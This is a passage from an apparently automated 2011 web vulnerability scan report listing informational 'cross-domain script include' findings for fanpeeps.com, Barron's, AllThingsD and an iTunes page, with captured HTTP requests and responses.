   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.18. http://fanpeeps.com/greybox/gb_scripts.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.19. http://fanpeeps.com/greybox/gb_styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 32549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.20. http://fanpeeps.com/media/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

20.21. http://fanpeeps.com/media/blueactive2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/blueactive2.gif

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /media/blueactive2.gif HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.1.10.1305373774

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 11:49:53 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 17549

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.22. http://fanpeeps.com/mlb previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/mlb

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /mlb HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:43:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 50419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.23. http://fanpeeps.com/nba previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/nba

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /nba HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:43:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 50565

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.24. http://fanpeeps.com/ncaa previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/ncaa

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /ncaa HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/?action=news&pid=19&iid=7
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:32:59 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 91517

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.25. http://fanpeeps.com/ncaa2.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

20.26. http://fanpeeps.com/nfl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/nfl

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /nfl HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:43:39 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 53253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.27. http://fanpeeps.com/thumbnailviewer.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.css

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.28. http://fanpeeps.com/thumbnailviewer.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 12:43:40 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.29. http://fanpeeps.com/twitterlib.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/twitterlib.js

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

Response

20.30. http://fanpeeps.com/worldcup previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/worldcup

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://tweetyourpicks.com/twitterlib030710.js

Request

GET /worldcup HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.1.10.1305373774

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:49:55 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/droplinebar.css" />

   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/twitterlib.css" />
   <script zsrc=/twitterlib.js src=http://tweetyourpicks.com/twitterlib030710.js zsrc=http://tweetyourpicks.com/twitterlib.jsorg zsrc=twitterlib.js zsrc=http://github.com/remy/twitterlib/raw/master/twitterlib.js type="text/javascript">
   </script>
...[SNIP]...

20.31. http://itunes.apple.com/us/app/wsj-house-of-the-day/id418203198 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://itunes.apple.com
Path:	/us/app/wsj-house-of-the-day/id418203198

Issue detail

The response dynamically includes the following scripts from other domains:

http://r.mzstatic.com/htmlResources/5176/web-storefront-base.jsz
http://r.mzstatic.com/htmlResources/5176/web-storefront-preview.jsz

Request

GET /us/app/wsj-house-of-the-day/id418203198 HTTP/1.1
Host: itunes.apple.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Sat, 14 May 2011 10:58:06 GMT
x-apple-orig-url-path: /us/app/wsj-house-of-the-day/id418203198
x-apple-application-site: NWK
x-apple-max-age: 3600
Content-Type: text/html
x-apple-woa-inbound-url: /WebObjects/MZStore.woa/wa/viewSoftware?id=418203198&cc=us
x-apple-application-instance: 12030
x-apple-aka-ttl: Generated Sat May 14 03:58:06 PDT 2011, Expires Sat May 14 03:59:06 PDT 2011, TTL 60s
x-webobjects-loadaverage: 0
Vary: Accept-Encoding
Cache-Control: no-transform, max-age=60
Date: Sat, 14 May 2011 10:58:07 GMT
Connection: close
X-Apple-Partner: origin.0
Content-Length: 30708

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.apple.com/itms/" lang="en">

<head>

<meta http-equiv="Content-Type" conten
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://r.mzstatic.com/htmlResources/5176/web-storefront-preview.cssz" />

<script type="text/javascript" charset="utf-8" src="http://r.mzstatic.com/htmlResources/5176/web-storefront-base.jsz"></script>
<script type="text/javascript" charset="utf-8" src="http://r.mzstatic.com/htmlResources/5176/web-storefront-preview.jsz"></script>
...[SNIP]...

20.32. http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://kara.allthingsd.com
Path:	/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://allthingsd-kara.disqus.com/remote_auth.js?remote_auth_s2=e30%3D+9aeef5ef7ecf0637a1869615cd5a038a6611c7eb+1305368290
http://c.wsj.net/dynamic/hat/hatloader3.js
http://cache-01.cleanprint.net/cp/ccg?divId=2500&ps=169
http://platform.twitter.com/widgets.js
http://stats.wordpress.com/wpcom.js?10
http://w.sharethis.com/button/sharethis.js
http://www.fins.com/Finance/JScripts/FINS_Widget.js

Request

GET /20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/ HTTP/1.1
Host: kara.allthingsd.com
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __switchTo5x=48; __unam=c2a74e1-12fedfea5dc-285fdd11-1; s_cc=true; __utmz=1.1305367991.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1428735391.1305367991.1305367991.1305367991.1; __utmc=1; __utmb=1.1.10.1305367991; atd_cookie_notice=2; s_sq=djglobal%2Cdjatd%3D%2526pid%253DATD_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-hap%2526ot%253DA

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:21:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Sat, 14 May 2011 10:18:11 +0000
Cache-Control: max-age=74, must-revalidate
Vary: Cookie
X-Pingback: http://kara.allthingsd.com/xmlrpc.php
Link: <http://kara.allthingsd.com/?p=43940>; rel=shortlink
X-nananana: Batcache
Content-Length: 74766

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
<head profi
...[SNIP]...
</style>
<script type='text/javascript' src='http://c.wsj.net/dynamic/hat/hatloader3.js'></script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://cache-01.cleanprint.net/cp/ccg?divId=2500&ps=169' name='cleanprintloader'></script>
...[SNIP]...

<script type="text/javascript" charset="utf-8" src="http://w.sharethis.com/button/sharethis.js#tabs=web%2Cemail%2Cpost&charset=utf-8&services=digg%2Cstumbleupon%2Cdelicious%2Cfacebook%2Cnewsvine%2Ctechnorati%2Creddit&style=custom&publisher=3bb0afeb-5490-4685-9181-24bf12e8a8ce&buttonText=Share&onmouseover=false&type=wordpress2.9.6"></script>
...[SNIP]...
<![endif]-->
<script type="text/javascript" src="http://allthingsd-kara.disqus.com/remote_auth.js?remote_auth_s2=e30%3D+9aeef5ef7ecf0637a1869615cd5a038a6611c7eb+1305368290"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js"></script>
...[SNIP]...
<div id="ctl00_pnlScript">

<script language="javascript" type="text/javascript" src="http://www.fins.com/Finance/JScripts/FINS_Widget.js"></script>
...[SNIP]...
<![endif]-->
<script src="http://stats.wordpress.com/wpcom.js?10" type="text/javascript"></script>
...[SNIP]...

20.33. http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/SB50001424052970203286304576313262992330454.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BA_0001/provided/bolGlobal,bolTracking/version/20110427211743.js
http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js
http://c.wsj.net/dynamic/hat/hatloader3.js
http://s.wsj.net/javascript/yui-2.5.2.js

Request

Response

20.34. http://online.barrons.com/article/barrons_take.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/barrons_take.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BA_0002/provided/bolGlobal,bolTracking/version/20110427211743.js
http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js
http://c.wsj.net/dynamic/hat/hatloader3.js
http://s.wsj.net/javascript/yui-2.5.2.js

Request

Response

20.35. http://online.barrons.com/home-page previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/home-page

Issue detail

The response dynamically includes the following scripts from other domains:

http://adsyndication.msn.com/delivery/getads.js
http://barrons.wsj.net/djscript/bucket/NA/page/0_0_BH_0001_public/provided/bolGlobal,bolTracking/version/20110428132048.js
http://barrons.wsj.net/djscript/j_global_slim-20110427211743.js
http://c.wsj.net/dynamic/hat/hatloader3.js
http://s.wsj.net/javascript/yui-2.5.2.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:12:52 GMT
Server: Apache/2.0.58 (Unix)
X-DEBUG-BOX-IDENT: sbkj2kapachep08
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /home-page
X-DEBUG-NAMESPACE: reno-barrons
X-DEBUG-BOX-IDENT: sbkj2kapachep08
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
X-DEBUG-REQUEST: /home-page?mg=reno-barrons&url=http%3A%2F%2Fonline.barrons.com%2Fhome-page
X-DEBUG-NAMESPACE: reno-barrons
X-DEBUG-BOX-IDENT: sbkj2kapachep08
